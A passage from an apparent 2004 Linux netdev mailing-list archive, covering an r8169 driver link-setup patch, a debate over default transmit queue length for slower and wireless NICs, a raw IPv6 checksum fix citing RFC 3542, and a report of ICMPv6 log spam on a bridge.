(p->media == option) + break; + } + *autoneg = p->autoneg; + *speed = p->speed; + *duplex = p->duplex; +} + static void rtl8169_get_drvinfo(struct net_device *dev, struct ethtool_drvinfo *info) { @@ -562,7 +594,7 @@ static int rtl8169_set_speed(struct net_ ret = tp->set_speed(dev, autoneg, speed, duplex); - if (tp->phy_1000_ctrl_reg & PHY_Cap_1000_Full) + if (netif_running(dev) && (tp->phy_1000_ctrl_reg & PHY_Cap_1000_Full)) mod_timer(&tp->timer, jiffies + RTL8169_PHY_TIMEOUT); return ret; @@ -1046,8 +1078,9 @@ rtl8169_init_one(struct pci_dev *pdev, c void *ioaddr = NULL; static int board_idx = -1; static int printed_version = 0; + u8 autoneg, duplex; + u16 speed; int i, rc; - int option = -1, Cap10_100 = 0, Cap1000 = 0; assert(pdev != NULL); assert(ent != NULL); @@ -1153,97 +1186,12 @@ rtl8169_init_one(struct pci_dev *pdev, c mdio_write(ioaddr, 0x0b, 0x0000); //w 0x0b 15 0 0 } - // if TBI is not endbled - if (!(RTL_R8(PHYstatus) & TBI_Enable)) { - int val = mdio_read(ioaddr, PHY_AUTO_NEGO_REG); - - option = (board_idx >= MAX_UNITS) ? 0 : media[board_idx]; - // Force RTL8169 in 10/100/1000 Full/Half mode. - if (option > 0) { - printk(KERN_INFO "%s: Force-mode Enabled.\n", - dev->name); - Cap10_100 = 0, Cap1000 = 0; - switch (option) { - case _10_Half: - Cap10_100 = PHY_Cap_10_Half_Or_Less; - Cap1000 = PHY_Cap_Null; - break; - case _10_Full: - Cap10_100 = PHY_Cap_10_Full_Or_Less; - Cap1000 = PHY_Cap_Null; - break; - case _100_Half: - Cap10_100 = PHY_Cap_100_Half_Or_Less; - Cap1000 = PHY_Cap_Null; - break; - case _100_Full: - Cap10_100 = PHY_Cap_100_Full_Or_Less; - Cap1000 = PHY_Cap_Null; - break; - case _1000_Full: - Cap10_100 = PHY_Cap_100_Full_Or_Less; - Cap1000 = PHY_Cap_1000_Full; - break; - default: - break; - } - // leave PHY_AUTO_NEGO_REG bit4:0 unchanged - mdio_write(ioaddr, PHY_AUTO_NEGO_REG, - Cap10_100 | (val & 0x1F)); - mdio_write(ioaddr, PHY_1000_CTRL_REG, Cap1000); - } else { - printk(KERN_INFO "%s: Auto-negotiation Enabled.\n", - dev->name); - - // enable 10/100 Full/Half Mode - // leave PHY_AUTO_NEGO_REG bit4:0 unchanged - mdio_write(ioaddr, PHY_AUTO_NEGO_REG, - PHY_Cap_100_Full_Or_Less | (val & 0x1f)); - - // enable 1000 Full Mode - mdio_write(ioaddr, PHY_1000_CTRL_REG, - PHY_Cap_1000_Full); - - } + rtl8169_link_option(board_idx, &autoneg, &speed, &duplex); - // Enable auto-negotiation and restart auto-nigotiation - mdio_write(ioaddr, PHY_CTRL_REG, - PHY_Enable_Auto_Nego | PHY_Restart_Auto_Nego); - udelay(100); - - // wait for auto-negotiation process - for (i = 10000; i > 0; i--) { - //check if auto-negotiation complete - if (mdio_read(ioaddr, PHY_STAT_REG) & - PHY_Auto_Neco_Comp) { - udelay(100); - option = RTL_R8(PHYstatus); - if (option & _1000bpsF) { - printk(KERN_INFO - "%s: 1000Mbps Full-duplex operation.\n", - dev->name); - } else { - printk(KERN_INFO - "%s: %sMbps %s-duplex operation.\n", - dev->name, - (option & _100bps) ? "100" : - "10", - (option & FullDup) ? "Full" : - "Half"); - } - break; - } else { - udelay(100); - } - } // end for-loop to wait for auto-negotiation process - - } else { - udelay(100); - printk(KERN_INFO - "%s: 1000Mbps Full-duplex operation, TBI Link %s!\n", - dev->name, - (RTL_R32(TBICSR) & TBILinkOK) ? "OK" : "Failed"); - } + rtl8169_set_speed(dev, autoneg, speed, duplex); + + if (RTL_R8(PHYstatus) & TBI_Enable) + printk(KERN_INFO PFX "%s: TBI auto-negotiating\n", dev->name); return 0; } @@ -1344,6 +1292,8 @@ rtl8169_open(struct net_device *dev) rtl8169_hw_start(dev); rtl8169_request_timer(dev); + + rtl8169_check_link_status(dev, tp, tp->mmio_addr); out: return retval; _ From mcgrof@studorgs.rutgers.edu Thu May 20 07:11:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 20 May 2004 07:11:18 -0700 (PDT) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4KEBCKO020744 for ; Thu, 20 May 2004 07:11:12 -0700 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id 84FF0F9D4B; Thu, 20 May 2004 10:11:11 -0400 (EDT) Date: Thu, 20 May 2004 10:11:11 -0400 To: Pekka Pietikainen Cc: Marc Herbert , netdev@oss.sgi.com, prism54-devel@prism54.org, Jean Tourrilhes Subject: Re: [Prism54-devel] Re: TxDescriptors -> 1024 default. Please not for every NIC! Message-ID: <20040520141111.GR13898@ruslug.rutgers.edu> Mail-Followup-To: Pekka Pietikainen , Marc Herbert , netdev@oss.sgi.com, prism54-devel@prism54.org, Jean Tourrilhes References: <20040519102700.GA16465@ee.oulu.fi> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="ccJhwVfaC+fHwTsl" Content-Disposition: inline In-Reply-To: <20040519102700.GA16465@ee.oulu.fi> User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group From: mcgrof@studorgs.rutgers.edu (Luis R. Rodriguez) X-archive-position: 5195 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev --ccJhwVfaC+fHwTsl Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, May 19, 2004 at 01:27:00PM +0300, Pekka Pietikainen wrote: > On Wed, May 19, 2004 at 11:30:28AM +0200, Marc Herbert wrote: > > - Me argues that we all lived happy for ages with this default > > setting of 100?packets @?100?Mb/s (and lived approximately happy @ > > 10 Mb/s), but we'll soon see doom and gloom with this new and > > brutal change to 1000?packets for all this _legacy_ 10-100 Mb/s > > hardware. e1000 data only is not enough to justify this radical > > shift. > >=20 > > If you are convinced by _both_ items above, then the patch below > > content _both_, and we're done. > >=20 > > If you are not, then... wait for further discussion, including answers > > to latest Ricardo's post. > > Not to mention that not all modern hardware is gigabit, current > 2.6 seems to be setting txqueuelen of 1000 for 802.11 devices too (at lea= st > my prism54), which might be causing major problems for me. Considering 802.11b's peak is at 11Mbit and standard 802.11g is at 54Mbit (some manufacturers are using two channels and getting 108Mbit now) I'd think we should stick at 100, as the patch proposes. Jean? Luis --=20 GnuPG Key fingerprint =3D 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E --ccJhwVfaC+fHwTsl Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFArLx/at1JN+IKUl4RAnt0AKCuiVsLnvq9Wpn7AxPgfmsWitHcggCdGNFY y973K281JSw3DGUFavnhq0U= =PCWw -----END PGP SIGNATURE----- --ccJhwVfaC+fHwTsl-- From davem@redhat.com Thu May 20 08:14:32 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 20 May 2004 08:14:39 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4KFEVKO023654 for ; Thu, 20 May 2004 08:14:31 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4KFERGG003931; Thu, 20 May 2004 11:14:27 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4KFER004989; Thu, 20 May 2004 11:14:27 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4KFEQhN007286; Thu, 20 May 2004 11:14:26 -0400 Date: Thu, 20 May 2004 08:14:21 -0700 From: "David S. Miller" To: yoshfuji@linux-ipv6.org Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [BK-PATCH 2.4] IPV6: ensure to evaluate checksum Message-Id: <20040520081421.594c5447.davem@redhat.com> In-Reply-To: <20040520.193312.19702393.yoshfuji@linux-ipv6.org> References: <20040520.193312.19702393.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i4KFEVKO023654 X-archive-position: 5196 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 20 May 2004 19:33:12 +0900 (JST) YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > Following changesets fixes checksum for rawv6 sockets. > - don't receive packets with incorrect checksum I notice now how ipv6 RAW behaves differently here than ipv4 RAW. In ipv4, packet is accepted regardless of checksum correctness. I can see both advantages and disadvantages of this behavior. But what I want to ask is if ipv6 RAW is being different on purpose, for example does the ipv6 advanced API specify this perhaps? From davem@redhat.com Thu May 20 08:16:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 20 May 2004 08:16:56 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4KFGdKO023852 for ; Thu, 20 May 2004 08:16:39 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4KFGbGG004739; Thu, 20 May 2004 11:16:37 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4KFGb005947; Thu, 20 May 2004 11:16:37 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4KFGZhN008313; Thu, 20 May 2004 11:16:36 -0400 Date: Thu, 20 May 2004 08:16:31 -0700 From: "David S. Miller" To: yoshfuji@linux-ipv6.org Cc: netdev@oss.sgi.com Subject: Re: [BK-PATCH 2.6] IPV6: Fix checksum for rawv6 sockets Message-Id: <20040520081631.78157bf1.davem@redhat.com> In-Reply-To: <20040520.193240.67952249.yoshfuji@linux-ipv6.org> References: <20040520.193240.67952249.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i4KFGdKO023852 X-archive-position: 5197 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 20 May 2004 19:32:40 +0900 (JST) YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > Following changesets fixes checksum for rawv6 sockets. > - send appropriate checksum > - don't receive packets with incorrect checksum > - ensure to notify return code to the caller. > > Please pull following csets from . This looks great. Pulled, thanks a lot Yoshfuji. From yoshfuji@linux-ipv6.org Thu May 20 08:55:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 20 May 2004 08:55:34 -0700 (PDT) Received: from yue.hongo.wide.ad.jp ([203.178.140.15]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4KFtUKO028448 for ; Thu, 20 May 2004 08:55:31 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 4DFBA33CE5; Fri, 21 May 2004 00:55:58 +0900 (JST) Date: Fri, 21 May 2004 00:55:50 +0900 (JST) Message-Id: <20040521.005550.20498276.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [BK-PATCH 2.4] IPV6: ensure to evaluate checksum From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20040520081421.594c5447.davem@redhat.com> References: <20040520.193312.19702393.yoshfuji@linux-ipv6.org> <20040520081421.594c5447.davem@redhat.com> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5198 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article <20040520081421.594c5447.davem@redhat.com> (at Thu, 20 May 2004 08:14:21 -0700), "David S. Miller" says: > I can see both advantages and disadvantages of this > behavior. But what I want to ask is if ipv6 RAW is > being different on purpose, for example does the ipv6 > advanced API specify this perhaps? Yes. RFC3542 (Advanced Sockets Application Program Interface (API) for IPv6) says: | For other raw IPv6 sockets (that is, for raw IPv6 sockets created | with a third argument other than IPPROTO_ICMPV6), the application | must set the new IPV6_CHECKSUM socket option to have the kernel (1) | compute and store a checksum for output, and (2) verify the received | checksum on input, discarding the packet if the checksum is in error. --yoshfuji From davem@redhat.com Thu May 20 09:32:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 20 May 2004 09:32:23 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4KGWHKO030555 for ; Thu, 20 May 2004 09:32:19 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4KGWEGG029551; Thu, 20 May 2004 12:32:14 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4KGWD004357; Thu, 20 May 2004 12:32:14 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4KGWChN015439; Thu, 20 May 2004 12:32:13 -0400 Date: Thu, 20 May 2004 09:32:07 -0700 From: "David S. Miller" To: yoshfuji@linux-ipv6.org Cc: netdev@oss.sgi.com Subject: Re: [BK-PATCH 2.4] IPV6: ensure to evaluate checksum Message-Id: <20040520093207.799834d6.davem@redhat.com> In-Reply-To: <20040521.005550.20498276.yoshfuji@linux-ipv6.org> References: <20040520.193312.19702393.yoshfuji@linux-ipv6.org> <20040520081421.594c5447.davem@redhat.com> <20040521.005550.20498276.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i4KGWHKO030555 X-archive-position: 5199 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 21 May 2004 00:55:50 +0900 (JST) YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > In article <20040520081421.594c5447.davem@redhat.com> (at Thu, 20 May 2004 08:14:21 -0700), "David S. Miller" says: > > > I can see both advantages and disadvantages of this > > behavior. But what I want to ask is if ipv6 RAW is > > being different on purpose, for example does the ipv6 > > advanced API specify this perhaps? > > Yes. Great, I've pulled your 2.4.x raw ipv6 changes into my tree. Thanks a lot. From jt@bougret.hpl.hp.com Thu May 20 09:38:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 20 May 2004 09:38:28 -0700 (PDT) Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4KGcIKO030915 for ; Thu, 20 May 2004 09:38:20 -0700 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel12.hp.com (Postfix) with ESMTP id AD8E8400446; Thu, 20 May 2004 09:38:15 -0700 (PDT) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_29774)/8.9.3 HPLabs Timeshare Server) with ESMTP id JAA19282; Thu, 20 May 2004 09:38:41 -0700 (PDT) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1BQqYd-0004E6-00; Thu, 20 May 2004 09:38:11 -0700 Date: Thu, 20 May 2004 09:38:11 -0700 To: Pekka Pietikainen , Marc Herbert , netdev@oss.sgi.com, prism54-devel@prism54.org Subject: Re: [Prism54-devel] Re: TxDescriptors -> 1024 default. Please not for every NIC! Message-ID: <20040520163811.GA15832@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com References: <20040519102700.GA16465@ee.oulu.fi> <20040520141111.GR13898@ruslug.rutgers.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040520141111.GR13898@ruslug.rutgers.edu> User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 5200 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev On Thu, May 20, 2004 at 10:11:11AM -0400, Luis R. Rodriguez wrote: > On Wed, May 19, 2004 at 01:27:00PM +0300, Pekka Pietikainen wrote: > > On Wed, May 19, 2004 at 11:30:28AM +0200, Marc Herbert wrote: > > > - Me argues that we all lived happy for ages with this default > > > setting of 100?packets @?100?Mb/s (and lived approximately happy @ > > > 10 Mb/s), but we'll soon see doom and gloom with this new and > > > brutal change to 1000?packets for all this _legacy_ 10-100 Mb/s > > > hardware. e1000 data only is not enough to justify this radical > > > shift. > > > > > > If you are convinced by _both_ items above, then the patch below > > > content _both_, and we're done. > > > > > > If you are not, then... wait for further discussion, including answers > > > to latest Ricardo's post. > > > > Not to mention that not all modern hardware is gigabit, current > > 2.6 seems to be setting txqueuelen of 1000 for 802.11 devices too (at least > > my prism54), which might be causing major problems for me. > > Considering 802.11b's peak is at 11Mbit and standard 802.11g is at 54Mbit > (some manufacturers are using two channels and getting 108Mbit now) I'd > think we should stick at 100, as the patch proposes. Jean? > > Luis I never like to have huge queues of buffers. It waste memory, and degrade the latency, especially with competing sockets. In a theoritical stable system, you don't need buffers (you run everything synchronously), buffer are only needed to take care of the jitter in real networks. The real throughouput of 802.11g is more around 30Mb/s (at TCP/IP level). However, wireless networks tend to have more jitter (interference and contention). But, wireless cards tend to have a fair number of buffers in the hardware. I personally would stick with 100. The IrDA stack runs perfectly fine with 15 buffers at 4 Mb/s. If 100 is not enough, I think the problem is not the number of buffers, but somewhere else. For example, we might want to think about explicit socket callbacks (like I did in IrDA). But that's only personal opinions ;-) Have fun... Jean From zdzichu@irc.pl Thu May 20 09:45:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 20 May 2004 09:45:37 -0700 (PDT) Received: from pollux.ds.pg.gda.pl (postfix@pollux.ds.pg.gda.pl [153.19.208.7]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4KGjIKO031263 for ; Thu, 20 May 2004 09:45:19 -0700 Received: from localhost (localhost [127.0.0.1]) by pollux.ds.pg.gda.pl (Postfix) with ESMTP id 62D1AE1CB2 for ; Thu, 20 May 2004 18:45:09 +0200 (CEST) Received: from pollux.ds.pg.gda.pl ([127.0.0.1]) by localhost (pollux [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 18860-08 for ; Thu, 20 May 2004 18:45:09 +0200 (CEST) Received: from piorun.ds.pg.gda.pl (piorun.ds.pg.gda.pl [153.19.208.8]) by pollux.ds.pg.gda.pl (Postfix) with ESMTP id 30EEBE1C97 for ; Thu, 20 May 2004 18:45:09 +0200 (CEST) Received: from mother.ds.pg.gda.pl (qmailr@mother.ds.pg.gda.pl [153.19.213.213]) by piorun.ds.pg.gda.pl (8.12.10/8.11.4) with SMTP id i4KGjNId004153 for ; Thu, 20 May 2004 18:45:23 +0200 Received: (qmail 14433 invoked by uid 1000); 20 May 2004 16:45:16 -0000 Date: Thu, 20 May 2004 18:45:16 +0200 From: Tomasz Torcz To: netdev@oss.sgi.com Subject: Re: [Prism54-devel] Re: TxDescriptors -> 1024 default. Please not for every NIC! Message-ID: <20040520164516.GA9913@irc.pl> References: <20040519102700.GA16465@ee.oulu.fi> <20040520141111.GR13898@ruslug.rutgers.edu> <20040520163811.GA15832@bougret.hpl.hp.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040520163811.GA15832@bougret.hpl.hp.com> User-Agent: Mutt/1.5.4i X-Virus-Scanned: by amavisd-new at pollux.ds.pg.gda.pl X-archive-position: 5201 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: zdzichu@irc.pl Precedence: bulk X-list: netdev On Thu, May 20, 2004 at 09:38:11AM -0700, Jean Tourrilhes wrote: > I personally would stick with 100. The IrDA stack runs > perfectly fine with 15 buffers at 4 Mb/s. If 100 is not enough, I > think the problem is not the number of buffers, but somewhere else. I don't know how much trollish or true is that comment: http://bsd.slashdot.org/comments.pl?sid=106258&cid=9049422 but it suggest, that Linux' stack having no BSD like mbuf functionality, is not perfect for fast transmission. Maybe some network guru cna comment ? -- Tomasz Torcz ,,(...) today's high-end is tomorrow's embedded processor.'' zdzichu@irc.-nie.spam-.pl -- Mitchell Blank on LKML From tmarshall@real.com Thu May 20 10:04:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 20 May 2004 10:04:27 -0700 (PDT) Received: from flawless.real.com (flawless.real.com [207.188.23.141]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4KH41KO031923 for ; Thu, 20 May 2004 10:04:01 -0700 Received: from hashi ([::ffff:172.23.22.199]) by flawless.real.com with esmtp; Thu, 20 May 2004 09:08:30 -0700 Received: from tommy by hashi with local (Exim 3.36 #1 (Debian)) id 1BQpzb-0000D7-00 for ; Thu, 20 May 2004 09:01:59 -0700 Date: Thu, 20 May 2004 09:01:59 -0700 From: Tom Marshall To: netdev@oss.sgi.com Subject: icmpv6_send filling the logs Message-ID: <20040520160158.GA785@real.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=_flawless.real.com-12835-1085069310-0001-2" Content-Disposition: inline User-Agent: Mutt/1.5.5.1+cvs20040105i X-archive-position: 5202 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: tmarshall@real.com Precedence: bulk X-list: netdev This is a MIME-formatted message. If you see this text it means that your E-mail software does not support MIME-formatted messages. --=_flawless.real.com-12835-1085069310-0001-2 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable I have a Linux bridge machine with a 2.6.6 kernel. It's a simple setup: two ethernet cards (both using the eepro100 driver) acting as a bridge to my office. Here's the relevant ifconfig output: br0 Link encap:Ethernet HWaddr 00:02:B3:16:D3:16 =20 inet addr:172.23.22.199 Bcast:172.23.255.255 Mask:255.255.0= =2E0 inet6 addr: feed:4d56::202:b3ff:fe16:d316/64 Scope:Site inet6 addr: fe80::202:b3ff:fe16:d316/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 eth0 Link encap:Ethernet HWaddr 00:D0:B7:74:76:CE =20 inet6 addr: fe80::2d0:b7ff:fe74:76ce/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 eth1 Link encap:Ethernet HWaddr 00:02:B3:16:D3:16 =20 inet6 addr: fe80::202:b3ff:fe16:d316/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 I've manually assigned the site address to br0. I am running radvd 0.7.2 on the machine. Its configuration looks like this: interface br0 { AdvSendAdvert on; # UnicastOnly on; prefix feed:4d56::/64 { AdvOnLink on; AdvAutonomous on; }; }; =20 Occasionally the machine will get into a state where this message fills the logs (thank goodness for the ratelimit): hashi kernel: icmpv6_send: no reply to icmp error It looks like this traffic may be related to the error: 08:14:49.389415 fe80::202:b3ff:fe16:d316 > ff02::1:ffb4:fdbb: icmp6: ne= ighbor sol: who has fe80::20c:76ff:feb4:fdbb 08:14:49.389455 fe80::20c:76ff:feb4:fdbb > fe80::202:b3ff:fe16:d316: ic= mp6: neighbor adv: tgt is fe80::20c:76ff:feb4:fdbb 08:14:49.389486 fe80::202:b3ff:fe16:d316 > ff02::1:ff16:d316: icmp6: ne= ighbor sol: who has fe80::202:b3ff:fe16:d316 08:14:50.389265 fe80::202:b3ff:fe16:d316 > ff02::1:ffb4:fdbb: icmp6: ne= ighbor sol: who has fe80::20c:76ff:feb4:fdbb 08:14:50.389306 fe80::20c:76ff:feb4:fdbb > fe80::202:b3ff:fe16:d316: ic= mp6: neighbor adv: tgt is fe80::20c:76ff:feb4:fdbb 08:14:50.389341 fe80::202:b3ff:fe16:d316 > ff02::1:ff16:d316: icmp6: ne= ighbor sol: who has fe80::202:b3ff:fe16:d316 Note in the third and sixth lines the bridge is requesting its own address. fe80::20c:76ff:feb4:fdbb belongs to another one of my machines, also running Linux 2.6.6. There's very little IPv6 traffic on this LAN (mostly my own ssh sessions), though there are quite a few machines with various OS's that have IPv6 enabled. I can provide packet dumps if they are needed. I've temporarily worked around this problem with the following command: # ip6tables -A OUTPUT -p icmpv6 -s fe80::/16 -j DROP This works out okay for me because I always use the site local addresses, but obviously it isn't an ideal solution... --=20 The universe is ruled by letting things take their course. It cannot be ruled by interfering. -- Chinese proverb --=_flawless.real.com-12835-1085069310-0001-2 Content-Type: application/pgp-signature; name="signature.asc" Content-Transfer-Encoding: 7bit Content-Description: Digital signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFArNZ2qznSmcYu2m8RAh51AJ0YMdUA98k0bynk1uidJ0not93FcwCggEax Svt0ZnjeVdRnwGZ7CDssqgM= =bA7L -----END PGP SIGNATURE----- --=_flawless.real.com-12835-1085069310-0001-2-- From ak@suse.de Thu May 20 10:13:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 20 May 2004 10:13:27 -0700 (PDT) Received: from Cantor.suse.de (cantor.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4KHD6KO032671 for ; Thu, 20 May 2004 10:13:09 -0700 Received: from hermes.suse.de (hermes-ext.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id AF5C25E8699; Thu, 20 May 2004 19:13:00 +0200 (CEST) Date: Thu, 20 May 2004 19:13:00 +0200 From: Andi Kleen To: Tomasz Torcz Cc: netdev@oss.sgi.com Subject: zero copy TX in benchmarks was Re: [Prism54-devel] Re: TxDescriptors -> 1024 default. Please not for every NIC! Message-ID: <20040520171300.GA24379@wotan.suse.de> References: <20040519102700.GA16465@ee.oulu.fi> <20040520141111.GR13898@ruslug.rutgers.edu> <20040520163811.GA15832@bougret.hpl.hp.com> <20040520164516.GA9913@irc.pl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040520164516.GA9913@irc.pl> X-archive-position: 5203 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev On Thu, May 20, 2004 at 06:45:16PM +0200, 